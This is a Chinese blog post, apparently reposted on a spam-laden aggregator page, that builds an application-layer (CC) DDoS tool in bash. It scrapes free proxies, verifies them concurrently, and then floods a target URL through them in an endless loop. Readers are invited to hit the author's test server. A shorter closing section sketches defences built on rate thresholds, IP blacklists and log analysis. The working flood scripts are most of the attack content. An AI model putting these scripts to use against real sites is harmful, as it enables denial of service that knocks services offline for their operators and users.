国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 學(xué)院 > 操作系統(tǒng) > 正文

DDoS攻防戰(zhàn) (二) :CC攻擊工具實(shí)現(xiàn)與防御理論

2024-06-28 13:25:59
字體:
供稿:網(wǎng)友
DDoS攻防戰(zhàn) (二) :CC攻擊工具實(shí)現(xiàn)與防御理論

故上兵伐謀 其次伐交 其次伐兵 其下攻城 攻城之法 為不得已

知己知彼 百戰(zhàn)不殆 不知彼而知己 一勝一負(fù) 不知彼不知己 每戰(zhàn)必敗

——孫子兵法·謀攻

我們將要實(shí)現(xiàn)一個進(jìn)行應(yīng)用層DDoS攻擊的工具,綜合考慮,CC攻擊方式是最佳選擇,并用bash shell腳本來快速實(shí)現(xiàn)并驗證這一工具,并在最后,討論如何防御來自應(yīng)用層的DDoS攻擊。

第一步:獲取大量可用代理ip:port列表

網(wǎng)上所處可見免費(fèi)代理,我們使用http的GET方法抓取html文檔,接著使用正則過濾出我們需要的ip port對,然后逐一驗證各代理的可用性,最終得到可用的代理ip port對。

1 grab_PRoxy.sh
 1 #!/bin/bash 2  3 #get proxy list 4 declare proxyListFile="proxy.txt" 5 declare tmpFile=`mktemp` 6 declare url 7 declare line 8 declare times 9 declare ip10 declare port11 declare i12 declare j13 declare mod14 15 function quit() {16     rm -f $tmpFile17     exit "$1"18 }19 20 echo "get proxy list... please wait..."21 22 if [ -r "$proxyListFile" ]23 then24   rm -f $proxyListFile25 fi26 27 touch $proxyListFile28 29 for url in  " http://www.youdaili.cn/Daili/guonei/2215.html " /30             " http://www.youdaili.cn/Daili/guonei/2215_2.html" /31             " http://www.youdaili.cn/Daili/guonei/2215_3.html" /32             " http://www.youdaili.cn/Daili/guonei/2215_4.html "33 do34     if GET "$url" > $tmpFile35     then36         grep -oE '^.*<br />.*$' "$tmpFile" | grep -Eo "([0-9]+)(/.[0-9]+){3}:([0-9]+)" /37         | sort -n | uniq | awk -F: '{ printf("%-15s  %s /n",$1,$2); }' >> $proxyListFile38     else39         exec 1>&240         echo "error: get proxy list fail! chech the url:$url or the network"41         quit 142     fi43 done44 45 echo "done. total `cat $proxyListFile | wc -l` proxy"46 47 quit 048 #exit
View Code

參數(shù):

declare proxyListFile="proxy.txt" #抓取到的代理ip port對所存放的文件路徑

1 check_proxy.sh
 1 #!/bin/bash 2  3 #get proxy list 4 declare check_threads=10 5 declare line 6 declare times 7 declare ip 8 declare port 9 declare i10 declare j11 declare mod12 13 function quit() {14     exit "$1"15 }16 17 #echo "start check proxy's functionality..."18 19 #retarget the input file to stdin20 if [ "$#" -gt "0" ]21 then22     exec 0<$123 else24     exec 1>&225     echo "usage: bash $0 proxyListFile.txt"26     echo "error: must have one input arg"27     quit 128 fi29 30 #check proxy's functionality31 times=032 while read line33 do34     times=$((times+1))35     j=036     for i in `echo $line | tr ' ' '/n' | grep -E '^[^/s].*$'`37     do38         j=$((j+1))39         if [ "$j" -eq 1 ]40         then41             ip=$i42         else43             port=$i44         fi45     done46     #echo "times=$times ip=$ip port=$port"47     # start test48     if GET -t 5 -p "http://$ip:$port" "http://baidu.com" &>/dev/null49     then 50         echo "$ip $port"51         echo ":) ip=$ip port=$port " &>/dev/null52     else53         echo "invalid ip=$ip port=$port : please check ip:host or network" &>/proc/self/fd/254     fi &55     mod=$((times%check_threads))56     if [ "$mod" -eq "0" ]57     then58         wait59     fi60 done61 62 #close the fd of input file63 exec 0>&-64 quit 065 #exit
View Code

參數(shù):

declare check_threads=10 #驗證代理可用性時的并發(fā)數(shù),看一下代碼就會發(fā)現(xiàn),我們使用的是GEThttp://baidu.com方法,所以,并發(fā)數(shù)請不要也太高 :) 除非你的目標(biāo)就是......

總結(jié):應(yīng)征入伍的士兵共計600人,經(jīng)過考核的共計449人,如果你還想招募更多的士兵,奉勸一句,苦海無邊,回頭是岸。第二步:吹響戰(zhàn)爭號角

筆者在一臺VPS上建立了一個薄弱的靶機(jī),各位讀者請不要太暴力,測試一下就可以了,地址http://eecs.cc:8080/

筆者把這么重要的信息都放出來了,讀者請點(diǎn)個贊吧 :)

1 cc.sh
 1 #!/bin/bash 2  3 declare target_url="http://eecs.cc:8080/" 4 declare get_timeout_sec=5 5 declare line 6 declare times 7 declare ip 8 declare port 9 declare i10 declare j11 12 function quit() {13     exit "$1"14 }15 16 #retarget the input file to stdin17 if ! [ "$#" -gt "0" ]18 then19     exec 1>&220     echo "challenge collapsar attack -- cc attack"21     echo "usage: bash $0 proxyListFile.txt"22     echo "error: must have one input arg"23     quit 124 fi25 26 echo "report : total `cat $1 | wc -l` proxy-soldiers are ready for command"27 echo "command: target: $target_url"28 echo "command: start challenge collapsar attack   :)   amazing..."29 30 exec 0<$131 #start challenge collapsar attack32 33 while true34 do35     times=036     exec 0<&-37     exec 0<$138     while read line39     do40         times=$((times+1))41         j=042         for i in `echo $line | tr ' ' '/n' | grep -E '^[^/s].*$'`43         do44             j=$((j+1))45             if [ "$j" -eq 1 ]46             then47                 ip=$i48             else49                 port=$i50             fi51         done52         echo "times=$times ip=$ip port=$port"53         #single soldier attack54         if GET -t "$get_timeout_sec" -p "http://$ip:$port" "$target_url" &>/dev/null 55         then 56             echo "soldier$times attack $target_url :)"57         else58             echo "soldier$times attack $target_url miss"59         fi &60     done61     wait62 done63 64 #close the fd of input file65 exec 0>&-66 quit 067 #exit
View Code

讀者可自行嘗試攻擊這個站點(diǎn),然后使用瀏覽器訪問查看服務(wù)器網(wǎng)絡(luò)狀況,此時大量連接處于TIME_WAIT狀態(tài),參考TCP狀態(tài)機(jī),這一狀態(tài)為主動關(guān)閉一方的最終等待狀態(tài)。

請不要惡意攻擊別人的網(wǎng)站 如果因此被關(guān)了進(jìn)去 沒有人能把你弄出來

應(yīng)用層DDoS的防御理論:

問題模型描述:

每一個頁面,都有其資源消耗權(quán)重,靜態(tài)資源,權(quán)重較低,動態(tài)資源,權(quán)重較高。對于用戶訪問,有如下:

用戶資源使用頻率=使用的服務(wù)器總資源量/s

命題一:對于正常訪問的用戶,資源使用頻率必定位于一個合理的范圍,當(dāng)然會存在大量正常用戶共享ip的情況,這就需要日常用戶訪問統(tǒng)計,以得到忠實(shí)用戶ip白名單。

命題二:資源使用頻率持續(xù)異常的,可斷定為訪問異常的用戶。

防御體系狀態(tài)機(jī):

1.在系統(tǒng)各項資源非常寬裕時,向所有ip提供服務(wù),每隔一段時間釋放一部分臨時黑名單中的ip成員;

2.在系統(tǒng)資源消耗達(dá)到某一閾值時,降低Syn包接受速率,循環(huán):分析最近時間的日志,并將訪問異常的ip加入臨時黑名單;

3.若系統(tǒng)資源消耗慢慢回降至正常水平,則恢復(fù)Syn包接受速率,轉(zhuǎn)到狀態(tài)1;若目前策略并未有效地控制住系統(tǒng)資源消耗的增長,情況繼續(xù)惡劣至一極限閾值,轉(zhuǎn)到狀態(tài)4;

4.最終防御方案,使用忠實(shí)用戶ip白名單、異常訪問ip黑名單策略,其他訪問可慢慢放入,直到系統(tǒng)資源消耗回降至正常水平,轉(zhuǎn)到狀態(tài)1。

上述的防御狀態(tài)機(jī),對于單個攻擊IP高并發(fā)的DDOS,變化到狀態(tài)3時,效果就完全體現(xiàn)出來了,但如果防御狀態(tài)機(jī)進(jìn)行到4狀態(tài),則有如下兩種可能:

1.站點(diǎn)遭到了攻擊群龐大的、單個IP低并發(fā)的DDOS攻擊;

2.站點(diǎn)突然間有了很多訪問正常的新用戶。

建議后續(xù)工作:

保守:站點(diǎn)應(yīng)盡快進(jìn)行服務(wù)能力升級。

積極:盡所能,追溯攻擊者。

追溯攻擊者: CC:proxy-forward-from-ip 單個IP高并發(fā)的DDOS:找到訪問異常的、高度可疑的ip列表,exploit,搜集、分析數(shù)據(jù),因為一個傀儡主機(jī)可被二次攻占的概率很大(但不建議這種方法) 單個IP低并發(fā)的DDOS:以前極少訪問被攻擊站點(diǎn),但是在攻擊發(fā)生時,卻頻繁訪問我們的站點(diǎn),分析日志得到這一部分ip列表 追溯攻擊者的過程中,snat與web proxy增加了追蹤的難度,如果攻擊者采用多個中繼服務(wù)器的方法,追溯將變得極為困難。

防御者:

1.應(yīng)對當(dāng)前系統(tǒng)了如指掌,如系統(tǒng)最高負(fù)載、最高數(shù)據(jù)處理能力,以及系統(tǒng)防御體系的強(qiáng)項與弱點(diǎn) 2.歷史日志的保存、分析 3.對當(dāng)前系統(tǒng)進(jìn)行嚴(yán)格安全審計 4.上報公安相關(guān)部分,努力追溯攻擊者 5.網(wǎng)站,能靜態(tài),就一定不要動態(tài),可采取定時從主數(shù)據(jù)庫生成靜態(tài)頁面的方式,對需要訪問主數(shù)據(jù)庫的服務(wù)使用驗證機(jī)制

6.防御者應(yīng)能從全局的角度,迅速及時地發(fā)現(xiàn)系統(tǒng)正在處于什么程度的攻擊、何種攻擊,在平時,應(yīng)該建立起攻擊應(yīng)急策略,規(guī)范化操作,免得在急中犯下低級錯誤

對歷史日志的分析這時將會非常重要,數(shù)據(jù)可視化與統(tǒng)計學(xué)的方法將會很有益處:

1.分析每個頁面的平均訪問頻率

2.對訪問頻率異常的頁面進(jìn)行詳細(xì)分析 分析得到ip-頁面訪問頻率

3.得到對訪問異常頁面的訪問異常ip列表

4.對日志分析得到忠實(shí)用戶IP白名單

5.一般一個頁面會關(guān)聯(lián)多個資源,一次對于這樣的頁面訪問往往會同時增加多個資源的訪問數(shù),而攻擊程序一般不會加載這些它不感興趣的資源,所以,這也是一個非常好的分析突破點(diǎn)

本文主要講述了DDoS攻擊之一的CC攻擊工具實(shí)現(xiàn),以及如何防御來自應(yīng)用層的DDoS攻擊的理論總結(jié)。接下來的文章,筆者將會實(shí)現(xiàn)一個工作于內(nèi)核態(tài)的、具有黑名單功能的防火墻模塊,以對應(yīng)于上述防御狀態(tài)機(jī)中的防火墻單元,它實(shí)現(xiàn)了自主地動態(tài)內(nèi)存管理,使用hash表管理ip列表,并可以自定義hash表的modular。

如有問題或者建議,歡迎留言討論:)

附錄:

  《DDoS攻防戰(zhàn) (一) : 概述》


發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
主站蜘蛛池模板: 辽阳市| 雷波县| 手游| 吉水县| 乐安县| 桐城市| 如东县| 张家口市| 怀远县| 留坝县| 昭通市| 石景山区| 九寨沟县| 绿春县| 顺平县| 齐河县| 航空| 扎赉特旗| 宁乡县| 武穴市| 十堰市| 龙门县| 武宣县| 北海市| 安陆市| 长丰县| 铁岭市| 内江市| 开封县| 西乡县| 沿河| 高青县| 楚雄市| 天柱县| 班戈县| 浪卡子县| 唐河县| 化德县| 廉江市| 南投市| 进贤县|